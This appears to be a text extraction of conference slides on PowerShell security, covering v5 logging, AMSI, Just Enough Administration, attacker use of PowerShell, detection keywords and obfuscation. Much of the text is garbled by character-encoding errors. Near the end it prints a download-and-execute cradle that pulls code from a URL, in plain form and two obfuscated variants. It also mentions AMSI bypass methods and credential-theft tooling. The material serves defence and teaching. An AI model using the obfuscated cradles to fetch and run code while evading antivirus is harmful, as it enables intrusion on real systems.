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άLǎƴϥǘ tƻǿŜǊ{ƘŜƭƭ Ƨǳǎǘ /І ǿƛǘƘ ǘǊŀƛƴƛƴƎ ǿƘŜŜƭǎΚέ
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PowerShell Overview

ÅObject-based scripting 
language leveraging .Net
technologies.

ÅPrimarily designed in C#.

Åά.!{I ǎƘŜƭƭ ŦƻǊ ²ƛƴŘƻǿǎέ

ÅPowerShell can call .Net
directly: 
[ System.DirectoryServices

.ActiveDirectory.Forest ]:

: GetCurrentForest () 

ÅExtensible through imported 
code modules which add new 
commands.

ÅSimplifies data access to 
standard resources (WMI, XML, 
registry, event logs, etc).

ÅPowerShell.exe (CLI) or 
PowerShell_ISE.exe (ISE GUI).

Å10 years old!
(almost)
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PowerShell v5 Security Enhancements

ÅScript block logging 

ÅSystem-wide transcripts 

ÅConstrained PowerShell enforced when application 
whitelisting enabled (AppLocker/Device Guard) 

ÅAntimalware Integration (Win 10)
http://blogs.msdn.com/b/powershell/archive/2015/06/09/powershell-the-blue-team.aspx

Windows Management Framework (WMF) version 5 available for download:
https://www.microsoft.com/en-us/download/details.aspx?id=50395
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PowerShell Group Policy
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PowerShell v5 Security: Script Block Logging
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PowerShell v5 Security: System-Wide Transcripts
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PowerShell v5: Constrained PowerShell Enforced (WL)
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Windows 10 PS Security:  Antimalware Integration
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Windows 10: AntiMalwareScan Interface (AMSI)
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Bypassing Windows 10 AMSI

ÅSometimes, PowerShell code gets through.

ÅDLL hijacking: 
http://cn33liz.blogspot.nl/2016/05/bypassing-amsi-using-powershell-5-
dll.html

ÅUse Reflection:

Sean Metcalf (@Pyrotek3) 
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Security Vendors Supporting Win10 AMSI

1. Microsoft Defender: Now

2. AVG: Now (AVG 
Protection 2016.7496)

3. ESET: Version 10 Beta

4. Avast: 
άAvast will be implementing 
AMSI in the near futureΦέ 
(7/2015)

5. Trend Micro: ??

6. Symantec: ???

7. McAfee: ???

8. Sophos: ??

9. Kaspersky: ??

10.BitDefender: ??

11.F-Secure : ??

12.Avira : ??

13.Panda : ??
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Just Enough Administration (JEA)
PowerShell v5, Windows 10, Windows Server 2016

aka.ms/jea
https://msdn.microsoft.com/powershell/jea/readme

Sean Metcalf (@Pyrotek3) 
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JEA Overview

ÅConstrained PowerShell remoting session with 
whitelisted cmdlets with select parameter options.

ÅBaked into Windows 10/2016, otherwise deploy PSv5.

Å5ŜƭŜƎŀǘƛƴƎ ǎŜǊǾŜǊ ǊƛƎƘǘǎ Ŏŀƴ ƭŜǾŜǊŀƎŜ ŀ άǾƛǊǘǳŀƭ 
ŀŎŎƻǳƴǘέ ό²ƛƴуΦм ϧ нлмнwнҌύΦ

ÅGain insight through PS logging/transcription.

ÅIdeal for server admin delegation & Active Directory 
tasks.
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JEA Configuration

ÅPrerequisites (domain-joined, PS Remoting, etc).
ÅIdentify tasks & restrict as appropriate.
ÅConfirm they work with JEA.
ÅConfigure tasks in a Role Capability file (PSRC).
ÅRegister a Session Configuration that exposes Role 
Capability.
ÅFollow principle of least privilege.
ÅTest. You can accidentally expose access so review 
Role Capability exposure.
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PowerShell as an Attack Platform
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Attackers Have Options

ÅCustom executables (EXEs)

ÅWindows command tools

ÅRemote Desktop

ÅSysinternaltools

ÅWindows Scripting Host

ÅVBScript

ÅCScript

ÅJavaScript

ÅBatch files

ÅPowerShell
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Quick PowerShell Attack History
ÅSummer 2010 - DEF CON 18: Dave Kennedy & Josh Kelly 
άtƻǿŜǊ{ƘŜƭƭ haCDΗέ https://www.youtube.com/watch?v=JKlVONfD53w

ÅDescribes many of the PowerShell attack techniques used today (Bypass 
exec policy, -Enc, & IE).

ÅReleased PowerDumpto dump SAM database via PowerShell.

Å2012 ςPowerSploit, a GitHub repo started by Matt Graeber, 
launched with Invoke-Shellcode.
ÅάLƴƧŜŎǘ ǎƘŜƭƭŎƻŘŜ ƛƴǘƻ ǘƘŜ ǇǊƻŎŜǎǎ L5 ƻŦ ȅƻǳǊ ŎƘƻƻǎƛƴƎ ƻǊ ǿƛǘƘƛƴ ǘƘŜ 
ŎƻƴǘŜȄǘ ƻŦ ǘƘŜ ǊǳƴƴƛƴƎ tƻǿŜǊ{ƘŜƭƭ ǇǊƻŎŜǎǎΦέ

Å2013 - Invoke-Mimkatzreleased by Joe Bialekwhich leverages 
Invoke-ReflectivePEInjection.

Sean Metcalf (@Pyrotek3) 
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Benefits of PowerShell as an Attack Platform

ÅRun code in memory without touching disk.
ÅDownload & execute code from another system.
ÅInterface with .Net& Windows APIs.
ÅBuilt-in remoting.
ÅCMD.exe is commonly blocked, though not PowerShell.
ÅMost organizations are not watching PowerShell activity.
Åaŀƴȅ ŜƴŘǇƻƛƴǘ ǎŜŎǳǊƛǘȅ ǇǊƻŘǳŎǘǎ ŘƻƴΩǘ ƘŀǾŜ Ǿƛǎƛōƛƭƛǘȅ 
into PowerShell activity.
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Real-world PowerShell attacks
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Word Macro -> PowerShell -> Download & Execute Payload
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http://pastebin.com/7wYupkJL

Download Code & Upload Recon Data

http://pastebin.com/7wYupkJL
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http://pastebin.com/juC4CkQG

Download Code & Execute

http://pastebin.com/juC4CkQG
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Download JPG file as EXE, then Execute

http://pastebin.com/juC4CkQG
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/ǊŜŀǘŜ άUpdate_Googleέ ǘŀǎƪ ǘƻ ŜȄŜŎǳǘŜ {ƘŜƭƭŎƻŘŜ

http://pastebin.com/juC4CkQG
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Find Financial & Sensitive Browser Windows
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Take Screenshots with PowerShell
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WMI Backdoor

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-
To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf

https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf
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PowerShell without PowerShell.exe
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Run PowerShell from .Net

ÅPowerShell = 
System.Management.Automation.dll

ÅApplications can run PowerShell code

ÅάtƻǿŜǊ{ƘŜƭƭ ps= PowerShell.Createόύέ

Å.Ŝƴ ¢ŜƴΩǎ άbƻǘ tƻǿŜǊ{ƘŜƭƭ
https://github.com/Ben0xA/nps

Sean Metcalf (@Pyrotek3) 
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/ǳǎǘƻƳ άtƻǿŜǊ{ƘŜƭƭέ /І !ǇǇ

ÅCreate C# application that references Powershell
System.Automation.dll assembly. 

Å[ŜǾŜǊŀƎŜ !ǳǘƻƳŀǘƛƻƴ ŀǎǎŜƳōƭȅΩǎ ŦǳƴŎǘƛƻƴǎ ǘƻ ŜȄŜŎǳǘŜ 
PowerShell Code. 

ÅSimilar to how PowerShell.exe works.

ÅUnmanaged PowerShell by Lee Christensen
https://github.com/leechristensen/UnmanagedPowerShell

ÅFoundation for most PowerShell attack tools running outside 
of powershell.exe.
ÅStarts up .NET & performs in-memory loading of a custom 

C# assembly that executes PowerShell.
ÅExecutes PowerShell from an unmanaged process.

Sean Metcalf (@Pyrotek3) 
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MetasploitPowerShell Module
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Side-Stepping PowerShell Security
Sean Metcalf (@Pyrotek3) 



PowerShell Attack Platform: PS>Attack
ÅDescription
ÅSelf contained custom PowerShell console which includes 
many offensive PowerShell tools. 
ÅCalls PowerShell through .Net
ÅModules are encrypted (AV evasion) and decrypted to 
memory
ÅCustom Build Tool

ÅUse 
ÅRecon, Credential Theft, Privilege Escalation, Data Exfiltration

ÅAuthor 
ÅJared Haight (@jaredhaight)

https://github.com/jaredhaight/psattack
Sean Metcalf (@Pyrotek3) 
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PS Constrained Language Mode? 
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PowerShell v5 Security Log Data?
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Detecting/Mitigating PS>Attack
And other Applications (EXEs) hosting PowerShell

Sean Metcalf (@Pyrotek3) 
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Detecting/Mitigating PS>Attack

ÅDiscover PowerShell in non-standard processes.

ÅGet-tǊƻŎŜǎǎ ƳƻŘǳƭŜǎ ƭƛƪŜ άϝManagement.Automationϝέ

Sean Metcalf (@Pyrotek3) 
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Detecting/Mitigating PS>Attack
ÅRun Windows 10 with AMSI aware AV

Sean Metcalf (@Pyrotek3) 
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PS>Attack, 
now with more AMSI Bypass!



Detecting/Mitigating PS>Attack
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Remove 
PowerShell v2 
from Windows 10
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Detecting/Mitigating PS>Attack (Windows 10)
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Detecting Custom EXEs Hosting PowerShell

ÅEvent 800: HostApplicationnot standard Microsoft tool 
(PowerShell , PowerShell ISE, etc).

ÅEvent 800: Version mismatch between HostVersion& 
EngineVersion(problematic).

ÅSystem.Management.Automation.(ni.)dll hosted in non-
standard processes.

ÅRemember that custom EXEs can natively call .Net& 
Windows APIs directly without PowerShell.
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PowerShell Logging & Attack Detection
Sean Metcalf (@Pyrotek3) 



PowerShell Module Logging

ÅPowerShell version 3+

ÅEnable via Group Policy:
ÅComputer Configuration\Policies\Administrative 
Template\Windows Components\Windows PowerShell.

ÅLogging enhanced in PowerShell v4.

ÅPowerShell v5 has compelling logging features.

Sean Metcalf (@Pyrotek3) 



PowerShell Module Logging - All
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PowerShell Attack Detection

ÅLog all PowerShell activity

ÅInteresting Activity:
Å.NetWeb Client download.
ÅInvoke-9ȄǇǊŜǎǎƛƻƴ όŀƴŘ ŘŜǊƛǾŀǘƛǾŜǎΥ άiexέύΦ
ÅάEncodedCommandέ όά-encέύ ϧ ά.ȅǇŀǎǎέ
ÅBITS activity.
ÅScheduled Task creation/deletion.
ÅPowerShell Remoting (WinRM).

Å¢Ƙƛǎ ƛǎ ŀ ƎƻƻŘ ǎǘŀǊǘΧ
Sean Metcalf (@Pyrotek3) 



PowerShell Attack Detection: Interesting Activity

Invoke-Expression (IEX)

Sean Metcalf (@Pyrotek3) 



PowerShell Attack Detection: Interesting Activity

.NetWeb Client download

Sean Metcalf (@Pyrotek3) 



Detect Invoke-Mimikatz?

Keywords:
Åάmimikatzέ 
Åάgentilkiwiέ 
ÅάLƴǾƻƪŜ-Mimikatzέ
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Detecting Invoke-Mimikatz: Event Log Keywords
Åά¢hY9bψtwL±L[9D9{έ

Åά{9ψtwL±L[9D9ψ9b!.[95ά

ÅάSystem.Reflection.AssemblyNameέ

ÅάSystem.Reflection.Emit.AssemblyBuilderAccessά

ÅάSystem.Runtime.InteropServices.MarshalAsAttributeέ
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Offensive PowerShell Detection in PS Logs

ÅInvoke-TokenManipulation: 
Åά¢hY9bψLat9w{hb!¢9έ 
Åά¢hY9bψ5¦t[L/!¢9έ 
Åά¢hY9bψ!5W¦{¢ψtwL±L[9D9{έ

ÅInvoke-CredentialInjection:
Åά¢hY9bψtwL±L[9D9{έ 
ÅάGetDelegateForFunctionPointerέ

ÅInvoke-DLLInjection
ÅάSystem.Reflection.AssemblyNameά
ÅάSystem.Reflection.Emit.AssemblyBuilderAccessά

Sean Metcalf (@Pyrotek3) 
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PowerShell Obfuscation
PS C:\> Invoke-Obfuscation
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Invoke-Obfuscation PowerShell Module

ÅWritten by Blue-teamer Daniel Bohannon.

ÅHighlights gaps in finding offensive PowerShell code.
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Standard Command

Invoke-Expression (New-Object 
Net.WebClient).DownloadString('http://bit.ly/L3g1t')

Daniel Bohannon at DerbyCon6 (2016)
Sean Metcalf (@Pyrotek3) 



Standard Command - Obfuscated

Invoke-Expression (New-Object 
Net.WebClient).DownloadString('http://bit.ly/L3g1t')

&( "I"+ "nv" +"OK"+"e-EXPreSsIon" ) (&( "new-O"+ 
"BJ"+"Ect") ('Net' +'.We'+'bClient' ) ).( 'dOWnlO' 
+'aDS'+'TrinG').Invoke( ('http://bi'+'t.ly/'+'L3' +'g1t' ))

Daniel Bohannon at DerbyCon6 (2016)
Sean Metcalf (@Pyrotek3) 
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Standard Command - Obfuscated

Invoke-Expression (New-Object 
Net.WebClient).DownloadString('http://bit.ly/L3g1t')

&("{0}{2}{3}{1}{4}"-f 'In','e','voke-Exp','r','ssion') (&( "{2}{0}{1}"-f'w-
Obje','ct','Ne') ( "{0}{1}{2}{3}"-f 'N','et.','Web','Client') 
).("{0}{3}{1}{2}{4}"-f'Downl','ad','S','o','tring' ).Invoke(( 'http' + 
':'+'/'+'/bi' +'t.ly'+'/L3g1t' ))

Daniel Bohannon at DerbyCon6 (2016)
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